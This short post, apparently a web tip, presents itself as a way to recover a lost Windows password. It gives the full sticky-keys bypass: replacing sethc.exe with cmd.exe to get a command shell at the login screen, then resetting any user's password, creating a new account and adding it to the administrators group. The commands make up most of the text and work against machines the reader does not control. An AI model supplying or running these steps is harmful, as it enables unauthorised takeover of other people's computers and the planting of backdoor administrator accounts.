This post will show you how to recover a lost password from any windows operating system.
First Reboot: Command Line – Prep
copy sethc.exe sethc.bak
copy cmd.exe sethc.exe
Second Reboot: Command Line – Change Password
Press the SHIFT keys 5 times
To change the user password type the following command (“password” id the new password)
net user username password
To add a new user type the following commands JohnDoe is the user and Password is the password)
net user JohnDoe Password /add
To add the user to teh administrator group type the following command.
net localgroup administrators JohnDoe /add